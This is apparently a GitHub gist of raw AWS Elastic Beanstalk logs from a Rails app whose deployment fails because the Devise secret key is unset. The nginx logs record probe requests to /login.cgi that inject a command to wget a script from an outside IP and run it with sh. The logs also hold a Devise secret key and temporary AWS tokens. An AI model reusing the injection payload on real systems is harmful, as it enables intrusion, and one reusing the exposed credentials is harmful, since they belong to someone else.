Skip to content

Instantly share code, notes, and snippets.

@CodePint
Last active June 18, 2018 13:05
Show Gist options
  • Save CodePint/495c09796160bb71d3f4dfdcfcd7b366 to your computer and use it in GitHub Desktop.
Save CodePint/495c09796160bb71d3f4dfdcfcd7b366 to your computer and use it in GitHub Desktop.
Retrieving logs...
============= i-03ff20b59bb676069 ==============
-------------------------------------
/var/log/nginx/access.log
-------------------------------------
172.31.1.155 - - [18/Jun/2018:12:01:07 +0000] "GET / HTTP/1.1" 502 173 "-" "-" "94.35.162.79"
172.31.47.51 - - [18/Jun/2018:12:20:19 +0000] "HEAD / HTTP/1.1" 502 0 "-" "-" "178.175.245.40"
172.31.47.51 - - [18/Jun/2018:12:23:59 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 502 173 "-" "Hello, World" "179.24.119.210"
172.31.1.155 - - [18/Jun/2018:12:32:46 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 502 173 "-" "Hello, World" "81.248.44.163"
172.31.47.51 - - [18/Jun/2018:12:33:35 +0000] "GET / HTTP/1.1" 502 173 "-" "-" "188.173.88.28"
-------------------------------------
/var/log/nginx/error.log
-------------------------------------
2018/06/18 12:01:07 [crit] 3042#0: *560 connect() to unix:///var/run/puma/my_app.sock failed (2: No such file or directory) while connecting to upstream, client: 172.31.1.155, server: _, request: "GET / HTTP/1.1", upstream: "http://unix:///var/run/puma/my_app.sock:/", host: "172.31.1.155"
2018/06/18 12:20:19 [crit] 3042#0: *835 connect() to unix:///var/run/puma/my_app.sock failed (2: No such file or directory) while connecting to upstream, client: 172.31.47.51, server: _, request: "HEAD / HTTP/1.1", upstream: "http://unix:///var/run/puma/my_app.sock:/", host: "172.31.47.51"
2018/06/18 12:23:59 [crit] 3042#0: *889 connect() to unix:///var/run/puma/my_app.sock failed (2: No such file or directory) while connecting to upstream, client: 172.31.47.51, server: _, request: "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1", upstream: "http://unix:///var/run/puma/my_app.sock:/login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$", host: "127.0.0.1"
2018/06/18 12:32:46 [crit] 3042#0: *1015 connect() to unix:///var/run/puma/my_app.sock failed (2: No such file or directory) while connecting to upstream, client: 172.31.1.155, server: _, request: "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1", upstream: "http://unix:///var/run/puma/my_app.sock:/login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$", host: "127.0.0.1"
2018/06/18 12:33:35 [crit] 3042#0: *1030 connect() to unix:///var/run/puma/my_app.sock failed (2: No such file or directory) while connecting to upstream, client: 172.31.47.51, server: _, request: "GET / HTTP/1.1", upstream: "http://unix:///var/run/puma/my_app.sock:/", host: "172.31.47.51"
-------------------------------------
/var/log/eb-activity.log
-------------------------------------
++ dir=/opt/rubies/ruby-2.0.0-p648
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.1.10
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.2.10
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.3.7
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.4.4
++ case "${dir##*/}" in
++ match=/opt/rubies/ruby-2.4.4
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-2.5.1
++ case "${dir##*/}" in
++ for dir in '"${RUBIES[@]}"'
++ dir=/opt/rubies/ruby-current
++ case "${dir##*/}" in
++ [[ -z /opt/rubies/ruby-2.4.4 ]]
++ shift
++ chruby_use /opt/rubies/ruby-2.4.4 ''
++ [[ ! -x /opt/rubies/ruby-2.4.4/bin/ruby ]]
++ [[ -n '' ]]
++ export RUBY_ROOT=/opt/rubies/ruby-2.4.4
++ RUBY_ROOT=/opt/rubies/ruby-2.4.4
++ export RUBYOPT=
++ RUBYOPT=
++ export PATH=/opt/rubies/ruby-2.4.4/bin:/opt/elasticbeanstalk/lib/ruby/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin
++ PATH=/opt/rubies/ruby-2.4.4/bin:/opt/elasticbeanstalk/lib/ruby/bin:/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin
+++ /opt/rubies/ruby-2.4.4/bin/ruby -
++ eval 'export RUBY_ENGINE=ruby;
export RUBY_VERSION=2.4.4;
export GEM_ROOT="/opt/rubies/ruby-2.4.4/lib/ruby/gems/2.4.0";'
+++ export RUBY_ENGINE=ruby
+++ RUBY_ENGINE=ruby
+++ export RUBY_VERSION=2.4.4
+++ RUBY_VERSION=2.4.4
+++ export GEM_ROOT=/opt/rubies/ruby-2.4.4/lib/ruby/gems/2.4.0
+++ GEM_ROOT=/opt/rubies/ruby-2.4.4/lib/ruby/gems/2.4.0
++ (( 0 != 0 ))
+ cd /var/app/ondeck
+ su -s /bin/bash -c 'bundle exec /opt/elasticbeanstalk/support/scripts/check-for-rake-task.rb assets:precompile' webapp
`/home/webapp` is not a directory.
Bundler will use `/tmp/bundler/home/webapp' as your home directory temporarily.
+ '[' false == true ']'
+ su -s /bin/bash -c 'bundle exec rake assets:precompile' webapp
`/home/webapp` is not a directory.
Bundler will use `/tmp/bundler/home/webapp' as your home directory temporarily.
rake aborted!
Devise.secret_key was not set. Please add the following to your Devise initializer:
config.secret_key = 'ec69899314f973e8b5a61fbc486cd8ea57951eefad1e8f09cc7cbb3474d559988c92757457bd0ca1f7c9f0c69101a1a59d1230ff7013e4316f4166cc374374ba'
Please ensure you restarted your application after installing Devise or setting the key.
/var/app/ondeck/config/routes.rb:2:in `block in <top (required)>'
/var/app/ondeck/config/routes.rb:1:in `<top (required)>'
/var/app/ondeck/config/environment.rb:6:in `<top (required)>'
/opt/rubies/ruby-2.4.4/bin/bundle:23:in `load'
/opt/rubies/ruby-2.4.4/bin/bundle:23:in `<main>'
Tasks: TOP => environment
(See full trace by running task with --trace) (Executor::NonZeroExitStatus)
[2018-06-18T11:22:16.392Z] INFO [3163] - [Application deployment app-1509-180618_121838@1/StartupStage0/AppDeployPreHook/11_asset_compilation.sh] : Activity failed.
[2018-06-18T11:22:16.392Z] INFO [3163] - [Application deployment app-1509-180618_121838@1/StartupStage0/AppDeployPreHook] : Activity failed.
[2018-06-18T11:22:16.392Z] INFO [3163] - [Application deployment app-1509-180618_121838@1/StartupStage0] : Activity failed.
[2018-06-18T11:22:16.393Z] INFO [3163] - [Application deployment app-1509-180618_121838@1] : Completed activity. Result:
Application deployment - Command CMD-Startup failed
[2018-06-18T12:33:55.382Z] INFO [25867] - [CMD-TailLogs] : Starting activity...
[2018-06-18T12:33:55.382Z] INFO [25867] - [CMD-TailLogs/AddonsBefore] : Starting activity...
[2018-06-18T12:33:55.382Z] INFO [25867] - [CMD-TailLogs/AddonsBefore] : Completed activity.
[2018-06-18T12:33:55.383Z] INFO [25867] - [CMD-TailLogs/TailLogs] : Starting activity...
[2018-06-18T12:33:55.383Z] INFO [25867] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...
[2018-06-18T12:33:55.557Z] INFO [25867] - [CMD-TailLogs/TailLogs/TailLogs] : Completed activity.
[2018-06-18T12:33:55.557Z] INFO [25867] - [CMD-TailLogs/TailLogs] : Completed activity. Result:
CMD-TailLogs - stage 0 - Command CMD-TailLogs stage 0 completed
[2018-06-18T12:33:55.557Z] INFO [25867] - [CMD-TailLogs/AddonsAfter] : Starting activity...
[2018-06-18T12:33:55.557Z] INFO [25867] - [CMD-TailLogs/AddonsAfter] : Completed activity.
[2018-06-18T12:33:55.557Z] INFO [25867] - [CMD-TailLogs] : Completed activity. Result:
CMD-TailLogs - Command CMD-TailLogs succeeded
[2018-06-18T12:35:37.083Z] INFO [25934] - [CMD-TailLogs] : Starting activity...
[2018-06-18T12:35:37.083Z] INFO [25934] - [CMD-TailLogs/AddonsBefore] : Starting activity...
[2018-06-18T12:35:37.083Z] INFO [25934] - [CMD-TailLogs/AddonsBefore] : Completed activity.
[2018-06-18T12:35:37.083Z] INFO [25934] - [CMD-TailLogs/TailLogs] : Starting activity...
[2018-06-18T12:35:37.083Z] INFO [25934] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...
[2018-06-18T12:35:37.268Z] INFO [25934] - [CMD-TailLogs/TailLogs/TailLogs] : Completed activity.
[2018-06-18T12:35:37.268Z] INFO [25934] - [CMD-TailLogs/TailLogs] : Completed activity. Result:
CMD-TailLogs - stage 0 - Command CMD-TailLogs stage 0 completed
[2018-06-18T12:35:37.268Z] INFO [25934] - [CMD-TailLogs/AddonsAfter] : Starting activity...
[2018-06-18T12:35:37.268Z] INFO [25934] - [CMD-TailLogs/AddonsAfter] : Completed activity.
[2018-06-18T12:35:37.268Z] INFO [25934] - [CMD-TailLogs] : Completed activity. Result:
CMD-TailLogs - Command CMD-TailLogs succeeded
[2018-06-18T12:36:20.029Z] INFO [25974] - [CMD-TailLogs] : Starting activity...
[2018-06-18T12:36:20.029Z] INFO [25974] - [CMD-TailLogs/AddonsBefore] : Starting activity...
[2018-06-18T12:36:20.029Z] INFO [25974] - [CMD-TailLogs/AddonsBefore] : Completed activity.
[2018-06-18T12:36:20.029Z] INFO [25974] - [CMD-TailLogs/TailLogs] : Starting activity...
[2018-06-18T12:36:20.029Z] INFO [25974] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...
-------------------------------------
/var/log/eb-commandprocessor.log
-------------------------------------
Please ensure you restarted your application after installing Devise or setting the key.
/var/app/ondeck/config/routes.rb:2:in `block in <top (required)>'
/var/app/ondeck/config/routes.rb:1:in `<top (required)>'
/var/app/ondeck/config/environment.rb:6:in `<top (required)>'
/opt/rubies/ruby-2.4.4/bin/bundle:23:in `load'
/opt/rubies/ruby-2.4.4/bin/bundle:23:in `<main>'
Tasks: TOP => environment
(See full trace by running task with --trace) (Executor::NonZeroExitStatus)
[2018-06-18T11:22:16.393Z] ERROR [3163] : Command CMD-Startup failed!
[2018-06-18T11:22:16.393Z] INFO [3163] : Command processor returning results:
{"status":"FAILURE","api_version":"1.0","results":[{"status":"FAILURE","msg":"(TRUNCATED)...b:1:in `<top (required)>'\n/var/app/ondeck/config/environment.rb:6:in `<top (required)>'\n/opt/rubies/ruby-2.4.4/bin/bundle:23:in `load'\n/opt/rubies/ruby-2.4.4/bin/bundle:23:in `<main>'\nTasks: TOP => environment\n(See full trace by running task with --trace). \nHook /opt/elasticbeanstalk/hooks/appdeploy/pre/11_asset_compilation.sh failed. For more detail, check /var/log/eb-activity.log using console or EB CLI","returncode":1,"events":[]}],"truncated":"true"}
[2018-06-18T12:33:55.376Z] DEBUG [25867] : Reading config file: /etc/elasticbeanstalk/.aws-eb-stack.properties
[2018-06-18T12:33:55.377Z] DEBUG [25867] : Checking if the command processor should execute...
[2018-06-18T12:33:55.379Z] DEBUG [25867] : Checking whether the command is applicable to instance (i-03ff20b59bb676069)..
[2018-06-18T12:33:55.379Z] INFO [25867] : Command is applicable to this instance (i-03ff20b59bb676069)..
[2018-06-18T12:33:55.379Z] DEBUG [25867] : Checking if the received command stage is valid..
[2018-06-18T12:33:55.379Z] INFO [25867] : No stage_num in command. Valid stage..
[2018-06-18T12:33:55.379Z] INFO [25867] : Received command CMD-TailLogs: {"execution_data":"{\"aws_access_key_id\":\"ASIAIGKMHUXNK3IZI4FQ\",\"signature\":\"E00p6uyikuh77xMqCmnHW34z6TE=\",\"security_token\":\"FQoDYXdzENb\\\/\\\/\\\/\\\/\\\/\\\/\\\/\\\/\\\/\\\/wEaDCSBJq3OloHSV8U75SKSAxvkGZYhxAsqzfZ8EE9PSkDtMVChuXAw2AZGuP1qu5Ka5XDg1PpFcjYM1AMeinSmXH6L1mZFYGsFCHAHzhQAKtNTBRo\\\/qKdMB4OtyY\\\/1pVOt7PEkvC6YoJVYw7B5cnpTDV5vjNyyKlic\\\/d67QqAgZSa1FTq6ATYZDQBn4Cbm4ynEU6EcLH0lWPQbIJzcENs5HZEfyxkQ6\\\/C6t0ZYv23ibZ6zyWIhMqr9YeboX4+lkHHKHI26aTSnIQXY0Bi69QqpuIbYi8TP1c4HHuMT7SXnTjbtgIEL9OkOLp2lSqBX68xQS7Mvuvuygx4pyM8k3pc7PpGqV425ikyCqAnvMb5NblZ7kiVo5zw8ixTVi+UG7I30Fhmc5cT8OAjdfZVRAj7zBrR+MZ8ebus8z\\\/ADxUWDOYm3CfT5tfooJfvPIqvrhUGWFJxjvQILj0fBfFnlwUs4dn7NR3nR3\\\/57r\\\/XuykrnUa2VB0WnoUU52LRTkZLHOwBIXpfh1uLyhknido8kn5YHDyF4\\\/bArUZIoysoGDzdO0VRKVyiyzZ7ZBQ==|NjIuNjguMTY5Ljg3\",\"policy\":\"eyJleHBpcmF0aW9uIjoiMjAxOC0wNi0xOFQxMzowMzo1NC4xMzNaIiwiY29uZGl0aW9ucyI6W1sic3RhcnRzLXdpdGgiLCIkeC1hbXotbWV0YS10aW1lX3N0YW1wIiwiIl0sWyJzdGFydHMtd2l0aCIsIiR4LWFtei1tZXRhLXB1Ymxpc2hfbWVjaGFuaXNtIiwiIl0sWyJzdGFydHMtd2l0aCIsIiRrZXkiLCJyZXNvdXJjZXNcL2Vudmlyb25tZW50c1wvbG9nc1wvIl0sWyJzdGFydHMtd2l0aCIsIiR4LWFtei1tZXRhLWJhdGNoX2lkIiwiIl0sWyJzdGFydHMtd2l0aCIsIiR4LWFtei1tZXRhLWZpbGVfbmFtZSIsIiJdLFsic3RhcnRzLXdpdGgiLCIkeC1hbXotc2VjdXJpdHktdG9rZW4iLCIiXSxbInN0YXJ0cy13aXRoIiwiJENvbnRlbnQtVHlwZSIsIiJdLFsiZXEiLCIkYnVja2V0IiwiZWxhc3RpY2JlYW5zdGFsay1ldS13ZXN0LTItNTIxMjU2NjE1NjY0Il0sWyJlcSIsIiRhY2wiLCJwcml2YXRlIl1dfQ==\"}","instance_ids":["i-03ff20b59bb676069"],"data":"71b41888-00ac-4027-a1c3-4bc31e7f7de6","command_name":"CMD-TailLogs","api_version":"1.0","resource_name":"AWSEBAutoScalingGroup","request_id":"71b41888-00ac-4027-a1c3-4bc31e7f7de6"}
[2018-06-18T12:33:55.379Z] INFO [25867] : Command processor should execute command.
[2018-06-18T12:33:55.379Z] DEBUG [25867] : Storing current stage..
[2018-06-18T12:33:55.379Z] DEBUG [25867] : Stage_num does not exist. Not saving null stage. Returning..
[2018-06-18T12:33:55.379Z] DEBUG [25867] : Reading config file: /etc/elasticbeanstalk/.aws-eb-stack.properties
[2018-06-18T12:33:55.380Z] DEBUG [25867] : Retrieving metadata for key: AWS::ElasticBeanstalk::Ext||_ContainerConfigFileContent||commands..
[2018-06-18T12:33:55.380Z] DEBUG [25867] : Retrieving metadata for key: AWS::ElasticBeanstalk::Ext||_API||_Commands..
[2018-06-18T12:33:55.381Z] INFO [25867] : Found enabled addons: ["logpublish", "logstreaming"].
[2018-06-18T12:33:55.382Z] INFO [25867] : Updating Command definition of addon logpublish.
[2018-06-18T12:33:55.382Z] INFO [25867] : Updating Command definition of addon logstreaming.
[2018-06-18T12:33:55.382Z] DEBUG [25867] : Loaded definition of Command CMD-TailLogs.
[2018-06-18T12:33:55.382Z] INFO [25867] : Executing CMD-TailLogs
[2018-06-18T12:33:55.382Z] INFO [25867] : Executing command: CMD-TailLogs...
[2018-06-18T12:33:55.382Z] INFO [25867] : Executing command CMD-TailLogs activities...
[2018-06-18T12:33:55.382Z] DEBUG [25867] : Setting environment variables..
[2018-06-18T12:33:55.382Z] INFO [25867] : Running AddonsBefore for command CMD-TailLogs...
[2018-06-18T12:33:55.382Z] DEBUG [25867] : Running stages of Command CMD-TailLogs from stage 0 to stage 0...
[2018-06-18T12:33:55.383Z] INFO [25867] : Running stage 0 of command CMD-TailLogs...
[2018-06-18T12:33:55.383Z] DEBUG [25867] : Loaded 1 actions for stage 0.
[2018-06-18T12:33:55.383Z] INFO [25867] : Running 1 of 1 actions: TailLogs...
[2018-06-18T12:33:55.557Z] INFO [25867] : Running AddonsAfter for command CMD-TailLogs...
[2018-06-18T12:33:55.557Z] INFO [25867] : Command CMD-TailLogs succeeded!
[2018-06-18T12:33:55.558Z] INFO [25867] : Command processor returning results:
{"status":"SUCCESS","api_version":"1.0","results":[{"status":"SUCCESS","msg":"","returncode":0,"events":[{"msg":"[Instance: i-03ff20b59bb676069] Successfully finished tailing 4 log(s)","severity":"INFO","timestamp":1529325235558}]}]}
[2018-06-18T12:35:37.078Z] DEBUG [25934] : Reading config file: /etc/elasticbeanstalk/.aws-eb-stack.properties
[2018-06-18T12:35:37.078Z] DEBUG [25934] : Checking if the command processor should execute...
[2018-06-18T12:35:37.080Z] DEBUG [25934] : Checking whether the command is applicable to instance (i-03ff20b59bb676069)..
[2018-06-18T12:35:37.080Z] INFO [25934] : Command is applicable to this instance (i-03ff20b59bb676069)..
[2018-06-18T12:35:37.080Z] DEBUG [25934] : Checking if the received command stage is valid..
[2018-06-18T12:35:37.080Z] INFO [25934] : No stage_num in command. Valid stage..
[2018-06-18T12:35:37.080Z] INFO [25934] : Received command CMD-TailLogs: {"execution_data":"{\"aws_access_key_id\":\"ASIAISRWLBVRSXKMPIMA\",\"signature\":\"BcKzt2LbIfYs\\\/+rBMp1YF7nW\\\/\\\/0=\",\"security_token\":\"FQoDYXdzENb\\\/\\\/\\\/\\\/\\\/\\\/\\\/\\\/\\\/\\\/wEaDOaKw4AOJGZPOAbi1SKSA23iwYEzdvPU6CLbozBcDtMP1tnm955O\\\/kFVdOiPIdZcIkSQP04Fx4IqbHwBi57j8sWpIaJ8YJgkagS0Q6TpX65UyfDjIrpM+jQYN47Kw\\\/f+ZWuXuD5Iz23IctCAjhk3wYTVoeV3AHH4+uTFDonf6UzP+0Q\\\/WmrcP310KYCWHPWXl8ZkTlzRWlIadePl3K+3bG6+fkoBIQrgNiYvbDAu5XHGfx6q\\\/aepmByGAFO1ho7NVNX4Ss7zOMFsylwRNq8mnbM4fZ79HjZ8st2u2pPpeV3KVGQvPo2SGUoV69\\\/fihG9SPRjTYU74Q4Va2SyDj6cuKpwxwKx3hM8RaxkOCRjd8L\\\/6LGOTpQHdw2kqfPPYtlcrAdZjHxqzBqxsfyWWi3ZV1FRP3QTI3NvLirmeQtbEiGFqgFkx+pSIZLzXRj6fnv4NLkHNFsvioBlVUNAMoIuOMXB7N\\\/zffcXqA3xNnvNUfZ8KzDR7mEu151ffiIgYQp7tPY6T2Oo\\\/9dEmeGStv641MQ9K0qGfNd7Gghvut25QHHhByjSzJ7ZBQ==|NjIuNjguMTY5Ljg3\",\"policy\":\"eyJleHBpcmF0aW9uIjoiMjAxOC0wNi0xOFQxMzowNTozNS42MDlaIiwiY29uZGl0aW9ucyI6W1sic3RhcnRzLXdpdGgiLCIkeC1hbXotbWV0YS10aW1lX3N0YW1wIiwiIl0sWyJzdGFydHMtd2l0aCIsIiR4LWFtei1tZXRhLXB1Ymxpc2hfbWVjaGFuaXNtIiwiIl0sWyJzdGFydHMtd2l0aCIsIiRrZXkiLCJyZXNvdXJjZXNcL2Vudmlyb25tZW50c1wvbG9nc1wvIl0sWyJzdGFydHMtd2l0aCIsIiR4LWFtei1tZXRhLWJhdGNoX2lkIiwiIl0sWyJzdGFydHMtd2l0aCIsIiR4LWFtei1tZXRhLWZpbGVfbmFtZSIsIiJdLFsic3RhcnRzLXdpdGgiLCIkeC1hbXotc2VjdXJpdHktdG9rZW4iLCIiXSxbInN0YXJ0cy13aXRoIiwiJENvbnRlbnQtVHlwZSIsIiJdLFsiZXEiLCIkYnVja2V0IiwiZWxhc3RpY2JlYW5zdGFsay1ldS13ZXN0LTItNTIxMjU2NjE1NjY0Il0sWyJlcSIsIiRhY2wiLCJwcml2YXRlIl1dfQ==\"}","instance_ids":["i-03ff20b59bb676069"],"data":"6da4fbf5-3a13-42e7-b25a-08a3bbd727f0","command_name":"CMD-TailLogs","api_version":"1.0","resource_name":"AWSEBAutoScalingGroup","request_id":"6da4fbf5-3a13-42e7-b25a-08a3bbd727f0"}
[2018-06-18T12:35:37.080Z] INFO [25934] : Command processor should execute command.
[2018-06-18T12:35:37.080Z] DEBUG [25934] : Storing current stage..
[2018-06-18T12:35:37.080Z] DEBUG [25934] : Stage_num does not exist. Not saving null stage. Returning..
[2018-06-18T12:35:37.080Z] DEBUG [25934] : Reading config file: /etc/elasticbeanstalk/.aws-eb-stack.properties
[2018-06-18T12:35:37.080Z] DEBUG [25934] : Retrieving metadata for key: AWS::ElasticBeanstalk::Ext||_ContainerConfigFileContent||commands..
[2018-06-18T12:35:37.081Z] DEBUG [25934] : Retrieving metadata for key: AWS::ElasticBeanstalk::Ext||_API||_Commands..
[2018-06-18T12:35:37.081Z] INFO [25934] : Found enabled addons: ["logpublish", "logstreaming"].
[2018-06-18T12:35:37.082Z] INFO [25934] : Updating Command definition of addon logpublish.
[2018-06-18T12:35:37.082Z] INFO [25934] : Updating Command definition of addon logstreaming.
[2018-06-18T12:35:37.082Z] DEBUG [25934] : Loaded definition of Command CMD-TailLogs.
[2018-06-18T12:35:37.082Z] INFO [25934] : Executing CMD-TailLogs
[2018-06-18T12:35:37.083Z] INFO [25934] : Executing command: CMD-TailLogs...
[2018-06-18T12:35:37.083Z] INFO [25934] : Executing command CMD-TailLogs activities...
[2018-06-18T12:35:37.083Z] DEBUG [25934] : Setting environment variables..
[2018-06-18T12:35:37.083Z] INFO [25934] : Running AddonsBefore for command CMD-TailLogs...
[2018-06-18T12:35:37.083Z] DEBUG [25934] : Running stages of Command CMD-TailLogs from stage 0 to stage 0...
[2018-06-18T12:35:37.083Z] INFO [25934] : Running stage 0 of command CMD-TailLogs...
[2018-06-18T12:35:37.083Z] DEBUG [25934] : Loaded 1 actions for stage 0.
[2018-06-18T12:35:37.083Z] INFO [25934] : Running 1 of 1 actions: TailLogs...
[2018-06-18T12:35:37.268Z] INFO [25934] : Running AddonsAfter for command CMD-TailLogs...
[2018-06-18T12:35:37.268Z] INFO [25934] : Command CMD-TailLogs succeeded!
[2018-06-18T12:35:37.269Z] INFO [25934] : Command processor returning results:
{"status":"SUCCESS","api_version":"1.0","results":[{"status":"SUCCESS","msg":"","returncode":0,"events":[{"msg":"[Instance: i-03ff20b59bb676069] Successfully finished tailing 4 log(s)","severity":"INFO","timestamp":1529325337268}]}]}
[2018-06-18T12:36:20.024Z] DEBUG [25974] : Reading config file: /etc/elasticbeanstalk/.aws-eb-stack.properties
[2018-06-18T12:36:20.024Z] DEBUG [25974] : Checking if the command processor should execute...
[2018-06-18T12:36:20.025Z] DEBUG [25974] : Checking whether the command is applicable to instance (i-03ff20b59bb676069)..
[2018-06-18T12:36:20.025Z] INFO [25974] : Command is applicable to this instance (i-03ff20b59bb676069)..
[2018-06-18T12:36:20.025Z] DEBUG [25974] : Checking if the received command stage is valid..
[2018-06-18T12:36:20.025Z] INFO [25974] : No stage_num in command. Valid stage..
[2018-06-18T12:36:20.025Z] INFO [25974] : Received command CMD-TailLogs: {"execution_data":"{\"aws_access_key_id\":\"ASIAJZJWHE7WAGDDIVGA\",\"signature\":\"L6rUD0LAT0e3U0cnk\\\/3uBl\\\/rLyk=\",\"security_token\":\"FQoDYXdzENb\\\/\\\/\\\/\\\/\\\/\\\/\\\/\\\/\\\/\\\/wEaDA0Q7hqngCBizawUiyKSA60N3RETH3Vo89X02cQt3fZbyH6nIgl6\\\/+aYwWiLsNJQjix4wIkGoini7NjWT1yNIrN+P6WktRO2WqOsa6E4T25zZPW4kt6EFSDFug4xhzZfJtrdv45fKdMgbKAU+qisoSubqhby5vr+pX0\\\/dJVUwoD9psDNAw2WnHMs\\\/PVDGkk21\\\/XQHV+nSzx4GS1Mzg7YBpZOJLA1vfaCKZXsB6f41eQhec03OdQdZwclTQPGoluqz82U3uskWhbtzoTpCl4IVrLchWUq5z+v4TpLTRoZ1CR90a1uevKApSj8e5cPAgk5Sf35ayqEU9I2dEJd75jd4elDgag35H31SI7a4lwtdCjRNZ0wr8uOZZ74m8EiZShKzUog9f+qhkGmD6AS\\\/HQmtcSV637\\\/jM7Qrx36s+S37daPAExKsh72l5KMl4CpcVxPHTRfVp7+L9EHdkenaEUQrEFkPb7HqiT2syDeTX6MirX7sAM8VcDWpERgKlhswoNEnbBdkKnxRQdJINYLuc+oPsrn90M7lcpR4MbIrQfL2khL+CjgzJ7ZBQ==|NjIuNjguMTY5Ljg3\",\"policy\":\"eyJleHBpcmF0aW9uIjoiMjAxOC0wNi0xOFQxMzowNjoxOC42MTlaIiwiY29uZGl0aW9ucyI6W1sic3RhcnRzLXdpdGgiLCIkeC1hbXotbWV0YS10aW1lX3N0YW1wIiwiIl0sWyJzdGFydHMtd2l0aCIsIiR4LWFtei1tZXRhLXB1Ymxpc2hfbWVjaGFuaXNtIiwiIl0sWyJzdGFydHMtd2l0aCIsIiRrZXkiLCJyZXNvdXJjZXNcL2Vudmlyb25tZW50c1wvbG9nc1wvIl0sWyJzdGFydHMtd2l0aCIsIiR4LWFtei1tZXRhLWJhdGNoX2lkIiwiIl0sWyJzdGFydHMtd2l0aCIsIiR4LWFtei1tZXRhLWZpbGVfbmFtZSIsIiJdLFsic3RhcnRzLXdpdGgiLCIkeC1hbXotc2VjdXJpdHktdG9rZW4iLCIiXSxbInN0YXJ0cy13aXRoIiwiJENvbnRlbnQtVHlwZSIsIiJdLFsiZXEiLCIkYnVja2V0IiwiZWxhc3RpY2JlYW5zdGFsay1ldS13ZXN0LTItNTIxMjU2NjE1NjY0Il0sWyJlcSIsIiRhY2wiLCJwcml2YXRlIl1dfQ==\"}","instance_ids":["i-03ff20b59bb676069"],"data":"2d80cb5f-7c62-4e61-8f1c-e9dd4b6d951a","command_name":"CMD-TailLogs","api_version":"1.0","resource_name":"AWSEBAutoScalingGroup","request_id":"2d80cb5f-7c62-4e61-8f1c-e9dd4b6d951a"}
[2018-06-18T12:36:20.025Z] INFO [25974] : Command processor should execute command.
[2018-06-18T12:36:20.026Z] DEBUG [25974] : Storing current stage..
[2018-06-18T12:36:20.026Z] DEBUG [25974] : Stage_num does not exist. Not saving null stage. Returning..
[2018-06-18T12:36:20.026Z] DEBUG [25974] : Reading config file: /etc/elasticbeanstalk/.aws-eb-stack.properties
[2018-06-18T12:36:20.026Z] DEBUG [25974] : Retrieving metadata for key: AWS::ElasticBeanstalk::Ext||_ContainerConfigFileContent||commands..
[2018-06-18T12:36:20.026Z] DEBUG [25974] : Retrieving metadata for key: AWS::ElasticBeanstalk::Ext||_API||_Commands..
[2018-06-18T12:36:20.027Z] INFO [25974] : Found enabled addons: ["logpublish", "logstreaming"].
[2018-06-18T12:36:20.028Z] INFO [25974] : Updating Command definition of addon logpublish.
[2018-06-18T12:36:20.028Z] INFO [25974] : Updating Command definition of addon logstreaming.
[2018-06-18T12:36:20.028Z] DEBUG [25974] : Loaded definition of Command CMD-TailLogs.
[2018-06-18T12:36:20.028Z] INFO [25974] : Executing CMD-TailLogs
[2018-06-18T12:36:20.029Z] INFO [25974] : Executing command: CMD-TailLogs...
[2018-06-18T12:36:20.029Z] INFO [25974] : Executing command CMD-TailLogs activities...
[2018-06-18T12:36:20.029Z] DEBUG [25974] : Setting environment variables..
[2018-06-18T12:36:20.029Z] INFO [25974] : Running AddonsBefore for command CMD-TailLogs...
[2018-06-18T12:36:20.029Z] DEBUG [25974] : Running stages of Command CMD-TailLogs from stage 0 to stage 0...
[2018-06-18T12:36:20.029Z] INFO [25974] : Running stage 0 of command CMD-TailLogs...
[2018-06-18T12:36:20.029Z] DEBUG [25974] : Loaded 1 actions for stage 0.
[2018-06-18T12:36:20.029Z] INFO [25974] : Running 1 of 1 actions: TailLogs...
Retrieving logs...
============= i-0e13e93758634f2bf ==============
-------------------------------------
/var/log/nginx/access.log
-------------------------------------
172.31.33.249 - - [18/Jun/2018:13:01:38 +0000] "HEAD / HTTP/1.1" 502 0 "-" "-" "119.76.8.104"
-------------------------------------
/var/log/nginx/error.log
-------------------------------------
2018/06/18 13:01:38 [crit] 3045#0: *22 connect() to unix:///var/run/puma/my_app.sock failed (2: No such file or directory) while connecting to upstream, client: 172.31.33.249, server: _, request: "HEAD / HTTP/1.1", upstream: "http://unix:///var/run/puma/my_app.sock:/", host: "52.56.190.36"
-------------------------------------
/var/log/eb-activity.log
-------------------------------------
++ BUNDLE_WITHOUT=test:development
+ RAKE_TASK=db:migrate
+ . /opt/elasticbeanstalk/support/scripts/use-app-ruby.sh
++ . /usr/local/share/chruby/chruby.sh
+++ CHRUBY_VERSION=0.3.9
+++ RUBIES=()
+++ for dir in '"$PREFIX/opt/rubies"' '"$HOME/.rubies"'
+++ [[ -d /opt/rubies ]]
++++ ls -A /opt/rubies
+++ [[ -n ruby-1.9.3-p551
ruby-2.0.0-p648
ruby-2.1.10
ruby-2.2.10
ruby-2.3.7
ruby-2.4.4
ruby-2.5.1
ruby-current ]]
+++ RUBIES+=("$dir"/*)
+++ for dir in '"$PREFIX/opt/rubies"' '"$HOME/.rubies"'
+++ [[ -d /.rubies ]]
+++ unset dir
+++ cat /etc/elasticbeanstalk/.ruby_version
